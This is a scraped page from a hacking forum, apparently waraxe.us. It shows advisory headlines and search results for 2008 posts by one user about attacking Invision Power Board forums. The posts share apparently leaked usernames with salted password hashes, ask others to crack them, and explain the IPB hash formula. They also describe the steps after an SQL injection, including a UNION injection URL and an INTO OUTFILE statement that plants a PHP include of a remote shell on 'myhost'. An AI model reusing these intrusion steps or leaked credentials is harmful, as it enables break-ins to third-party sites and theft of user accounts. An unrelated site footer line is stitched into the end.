Login or Register :: Home :: Search :: Your Account :: Forums :: Waraxe Advisories :: Tools :: October 22, 2026 Menu Home Logout Discussions Forums Members List IRC chat Tools Base64 coder MD5 hash CRC32 checksum ROT13 coder SHA-1 hash URL-decoder Sql Char Encoder Affiliates y3dips ITsec Md5 Cracker User Manuals AlbumNow Content Content Sections FAQ Top Info Feedback Recommend Us Search Journal Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9144 People Online: Visitors: 144 Members: 0 Total: 144 Full disclosure [0day-rubbish] TRENDnet TV-IP302PI firmware 1.02.38 authenticated NTP server-address OS command injection to root command execution via a shell-form system() call (7.2 High, PR:H) [0day-rubbish] Royal Render 9.1.26b: default-unauthenticated job submission on rrServer TCP 7773 reaches worker-side shell execution as the worker identity, measured root (8.1 High) [0day-rubbish] ProSoft Technology RLX-IFH24E v2.2.44 unsigned firmware upgrade package to root command execution and full account-database overwrite (7.2) [0day-rubbish] Parasoft Continuous Testing Platform 10.7.5-SNAPSHOT anonymous deserialization in the database restore path to JSP command execution as uid=1000 (9.8) [0day-rubbish] Exasol Database 7.1.30 docker-db form: shipped default SYS credential to PYTHON3 UDF os.popen command execution as uid=500(exadefusr), output returned in-band (8.8) [0day-rubbish] Edimax BR-6478AC firmware v2.20 authenticated command injection in the setWAN WAN-configuration handler, root command execution (7.2) [0day-rubbish] Edimax BR-6478AC firmware v2.20 authenticated command injection in the formWlanMP manufacturing-test handler, root command execution (7.2) [ROOTEDCON] Call for Papers 2027 · RootedCON2027 (Madrid) VestaCP <= 0.9.8-26: authenticated config-parser eval sinks ->root RCE (VESTACP-2026-001) [SYSS-2026-080]: dcm4che - Path Traversal (CWE-22) [SYSS-2026-079]: dcm4che - Path Traversal (CWE-22) [SYSS-2026-078]: dcm4che - Path Traversal (CWE-22) [SYSS-2026-077]: dcm4che - Path Traversal (CWE-22) [0day-rubbish] Synametrics Syncrify 6.2 build 1178 authenticated PublicLink chunk-upload path traversal to /etc/cron.d and root command execution (7.5) [0day-rubbish] South River Technologies Titan MFT Server 26.0.0 first-run administrator setup chained to job post-command injection, NT AUTHORITY\SYSTEM (8.1) IT Security and Insecurity Portal www.waraxe.us Forum Index Search found 24 matches IPB <= 2.3.5 sql injection exploit (new version 1.2) Forum:Invision Power Board Posted: Thu Dec 25, 2008 8:49 pm Subject: IPB <= 2.3.5 sql injection exploit (new version 1.2) epro Replies: 79 Views: 180902 Hello, is it possibility to get admin passhash and salt with SQL injection, not exploit, because I have vulnerable forum, but exploit don't want to work.. So? Brute forcing improving ideas... Forum:General discussion Posted: Fri Oct 31, 2008 12:38 pm Subject: Brute forcing improving ideas... epro Replies: 5 Views: 11586 Yes, for thing like you said is wordlists! Bruteforce aim is to check all possibilities to find password! No clever algorithm! Just numbers, letters and special symbols! Help anyone?? Ipboard hash+Salt Forum:All other hashes Posted: Wed Oct 29, 2008 10:54 am Subject: Help anyone?? Ipboard hash+Salt epro Replies: 10 Views: 17326 You are writting incorect algorithm. IPB uses md5(md5($salt).md5($pass)) [PHP] not simply md5! How check the IPB version?? Forum:Invision Power Board Posted: Tue Oct 28, 2008 7:49 pm Subject: How check the IPB version?? epro Replies: 2 Views: 13773 Invision Power Board 1.3 For this version there are directories and files like these: /html/emoticons/ /fonts/ /Skin/ /ssi_templates/ ssi.php show.php css.php conf_mime_types.php Invision ... IPB salted hashes Forum:All other hashes Posted: Tue Oct 28, 2008 5:30 pm Subject: IPB salted hashes epro Replies: 3 Views: 7746 few more: can somebody please crack them? 9d6268f371d6a0f893c9f31542651528:%'9DI d61a710176fc40bf5ef80b094bbe135c:Ib]gB cb8c14a79dcdf3df13aa173585915105:>fL2f 5f6699986e12f2a5640cb8f7bb37411d ... Shell on IPB 2.3.5 Forum:Invision Power Board Posted: Tue Oct 28, 2008 5:10 pm Subject: Shell on IPB 2.3.5 epro Replies: 6 Views: 14105 I can't explain you this onw, but I can show one other, which is working very well! Go to "Tools & Settings", select any of them, then press "Add New Setting", then in line "Raw PHP code to eva ... IPB salted hashes Forum:All other hashes Posted: Mon Oct 27, 2008 5:31 pm Subject: IPB salted hashes epro Replies: 3 Views: 7746 BIG thanks to you! IPB salted hashes Forum:All other hashes Posted: Mon Oct 27, 2008 11:58 am Subject: IPB salted hashes epro Replies: 3 Views: 7746 Hello, I have few salted hashes that I need to be decrypted. user:hash:salt tnet:2129115fc56adeca6b56ea8e35047327:8t"l# aKa:8c1f077556b15d0089b2a54e155180ab:xmmR= Mo4itajs:f8170ff8d027602a ... Shell on IPB 2.3.5 Forum:Invision Power Board Posted: Sun Oct 26, 2008 4:11 pm Subject: Shell on IPB 2.3.5 epro Replies: 6 Views: 14105 Hy, I get admin password in IPB 2.3.5 forum and I tried to upload shell. I tried sql command in sql toolbox: SELECT '<? @include("http://myhost/w4priv.php"); ?>' INTO OUTFILE '/opt/hosting/somet ... sql injection done.. then? Forum:Newbies corner Posted: Wed Oct 15, 2008 6:00 pm Subject: sql injection done.. then? epro Replies: 2 Views: 7421 This username/password is for web page were the injection was. So you need to find admin login page/ maybe user login page works too. Then in Admin Panel you look for uploading page or something like ... Interesting problem (PHPBB 2.0.11) Forum:Newbies corner Posted: Sat Jul 12, 2008 7:29 am Subject: Interesting problem (PHPBB 2.0.11) epro Replies: 2 Views: 8522 If you are banned on IP, then no cookies will be working, because you are BANNED. You need to use proxy and then try cookie hack (I don't know for what versions does it work), maybe try some other hac ... sql injection i need little bit help Forum:Sql injection Posted: Sat Jul 12, 2008 7:19 am Subject: sql injection i need little bit help epro Replies: 2 Views: 10259 Simply, the server administrator is smart an you cannot read mysql.user or information_shema or other tables where are BIG information.. But you can guess table names from that web page, and then ... SQL Injection Issue Forum:Sql injection Posted: Fri Jul 11, 2008 5:07 pm Subject: SQL Injection Issue epro Replies: 5 Views: 11107 OK, I already thought so. So: with this injection, I found that the prefix for g2_User is creatiff. http://*****.org/kom.php?akcja=dodaj&parentid=0+union+select+1,UNHEX(HEX(table_sc ... SQL Injection Issue Forum:Sql injection Posted: Fri Jul 11, 2008 2:53 pm Subject: SQL Injection Issue epro Replies: 5 Views: 11107 Maybe thers prefix.. :/ If you give me site via PM, I can try some injections to see, are there prefix or not.. :/ MD5 Hash Help Needed! Forum:MD5 hashes Posted: Sat Jul 05, 2008 2:54 pm Subject: MD5 Hash Help Needed! epro Replies: 15 Views: 30277 Ok I can't crack any more hashes.. :/ Page 1 of 2 Goto page 1, 2Next All times are GMT Select a forumSecurity Research by waraxe----------------General discussionHow to fixMetasploit relatedHash cracking requests----------------MD5 hashesAll other hashesHash related informationhttp://www.waraxe.us portal----------------SuggestionsCooperation proposalsSecurity bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holesVarious software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo GalleryProgramming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssemblerReverse engineering----------------Newbies cornerDisassemblingPHP script decode requestsMiscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy databaseDirect Downloads----------------ToolsTutorialsWordlistsRecycle Bin----------------Removed messagesOutdated posts Powered by phpBB © 2001-2008 phpBB Group

PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.082 Seconds